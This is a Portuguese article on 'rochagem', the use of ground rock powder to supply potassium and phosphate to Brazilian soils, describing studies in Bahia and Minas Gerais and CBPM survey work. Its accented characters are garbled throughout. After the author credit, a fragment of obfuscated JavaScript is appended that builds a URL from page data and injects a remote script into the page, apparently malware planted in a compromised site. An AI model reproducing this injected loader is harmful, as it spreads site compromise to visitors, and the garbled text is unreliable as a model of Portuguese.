TECNOLOGIA PARA REDUZIR A IMPORTAAi??A?O DE POTA?SSIO (K) E FOSFATO (P) NA AGRICULTURA BRASILEIRA

ROCHAGEM: TECNOLOGIA PARA REDUZIR A IMPORTAAi??A?O DE
POTA?SSIO (K) E FOSFATO (P) NA AGRICULTURA BRASILEIRA

Dados divulgados pelo Instituto Brasileiro de Geografia e EstatAi??stica (IBGE)
sobre o Produto Interno Bruto (PIB) revelam que o agronegA?cio tem um peso
significativo na geraAi??A?o de riquezas no PaAi??s. Em 2017, o crescimento acumulado do setor
foi de 14,5%. Nesse contexto, a agricultura brasileira Ai?? reconhecida como uma das
maiores produtoras e exportadoras de commodities agrAi??colas como cafAi??, algodA?o,
milho, laranja, cana- de-aAi??A?car e complexo de soja (farelo, A?leo e grA?o). Contudo, a
exploraAi??A?o prolongada e em larga escala, provoca a poluiAi??A?o e deterioraAi??A?o do solo por
essa agricultura. Todavia, os impactos ambientais nA?o se limitam a esses e podem ser
reduzidos, ou atAi?? mesmo eliminados, com o emprego de tecnologia jA? existente.
Com efeito, a rochagem, uma tecnologia que possibilita o uso do pA? de rocha
diretamente no solo, constitui um insumo agrAi??cola alternativo. Esse produto Ai?? obtido
atravAi??s da moagem de alguns tipos de rochas ricas em macro e micronutrientes de
dissoluAi??A?o lenta, os quais aplicados diretamente no solo contribuem para o incremento
da reserva nutricional (remineralizaAi??A?o) do solo. Com a adiAi??A?o dessas substA?ncias no
solo, a A?gua, por meio de hidrA?lise, reage com esse material pAi??treo, decompondo-o
lentamente e liberando, de forma gradual, os seus componentes quAi??micos. A Calagem e
a Fosfatagem natural sA?o processos semelhantes dessa prA?tica.
A utilizaAi??A?o da rochagem contribui para a reduAi??A?o no consumo de
fertilizantes industriais, que requerem quantidade elevada de energia para sua
fabricaAi??A?o e, simultaneamente, pode ser um agente propulsor de produtividade e
qualidade de muitos cultivares, incluindo os de cana-de-aAi??A?car e oleaginosas,
principalmente no A?mbito do pequeno e mAi??dio agricultor. A utilizaAi??A?o de pA? de rocha,
atAi?? entA?o visto como rejeito ou estAi??ril, Ai?? uma maneira sustentA?vel de reaproveitamento.
A tendA?ncia, com a evoluAi??A?o da tAi??cnica, Ai?? que o uso de fertilizantes e defensivos
agrAi??colas – tA?o prejudiciais ao solo e recursos hAi??dricos – na geraAi??A?o de rejeitos – e atAi??
mesmo Ai?? qualidade dos alimentos, diminua, cedendo espaAi??o para o uso de fontes
naturais.
No Brasil, especificamente, os trabalhos pioneiros chamaram a atenAi??A?o
para as potencialidades das rochas de IrecA?, Jaguarari e Cruz das Almas na Bahia (Figura
01) e Cedro do AbaetAi?? e Serra da Mata da Corda (MG). Dentre os casos prA?ticos, citamse
estudos da Embrapa Cerrados e Universidade de BrasAi??lia (UnB) que, usando as rochas
apenas moAi??das (brecha vulcA?nica alcalina, biotita xisto, flogopitito e ultramA?fica alcalina)
como fontes de PotA?ssio (K) para soja e milheto, mostraram resultados promissores.
Ademais, a utilizaAi??A?o da rochagem como adubaAi??A?o complementar em
culturas oleaginosas mostrou resultados satisfatA?rios nas anA?lises quAi??micas do solo, em
plantaAi??Ai??es de girassol, onde foi possAi??vel registrar que as condiAi??Ai??es de fertilidade se
assemelhavam a outros tratamentos convencionais. Um exemplo significativo de
rochagem estA? situado em IpirA? (BA), onde uma mina produz 20t/dia de calciossilicatica
alterada fosfA?tica e toda produAi??A?o Ai?? vendida para regiA?o oeste do estado. Ressalte-se
que o emprego de rochagem deve se dequar Ai??s diversas culturas existentes, pois cada
uma exige uma determinada quantidade e tipo de adubo, devido ao seu ciclo de
produAi??A?o.
A concentraAi??A?o de potA?ssio e fosfato, nas rochas acima citadas e em outras
como basaltos, ultramA?ficas, sienitos, calcissilicA?tica, carbonatitos, etc., apresenta uma
variaAi??A?o de teores de 2% a 6%, o que faz com que o transporte entre longas distA?ncias
inviabilize sua utilizaAi??A?o do ponto de vista econA?mico. Assim sendo, Ai?? necessA?rio um
estudo apurado em rede, em toda a A?rea estadual onde hA? incidA?ncia desses minAi??rios,
para que o transporte seja local ou regional e de baixo custo. Nesse sentido,
considerando que os solos baianos, sobretudo no semiA?rido, sA?o pobres nesses
macronutrientes (K e P), a Companhia Baiana de Pesquisa Mineral ai??i?? CBPM, vem
estudando e analisando os domAi??nios geolA?gicos de rochas com teores de PotA?ssio (K) e
Fosfato (P), de forma a possibilitar, no futuro prA?ximo, condiAi??Ai??es em que mineradores
e produtores rurais possam aprimorar suas culturas, atravAi??s dessa tecnologia com
pouco investimento e baixo custo, tornando o Estado e, consequentemente, o Brasil
menos dependente da importaAi??A?o de PotA?ssio (K), em cerca de 90% (Figura 02), e de
Fosfato (P), em 50% (Figura 03).
Fonte: In The Mine
Autor: Samuel Leal de Souza 2[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

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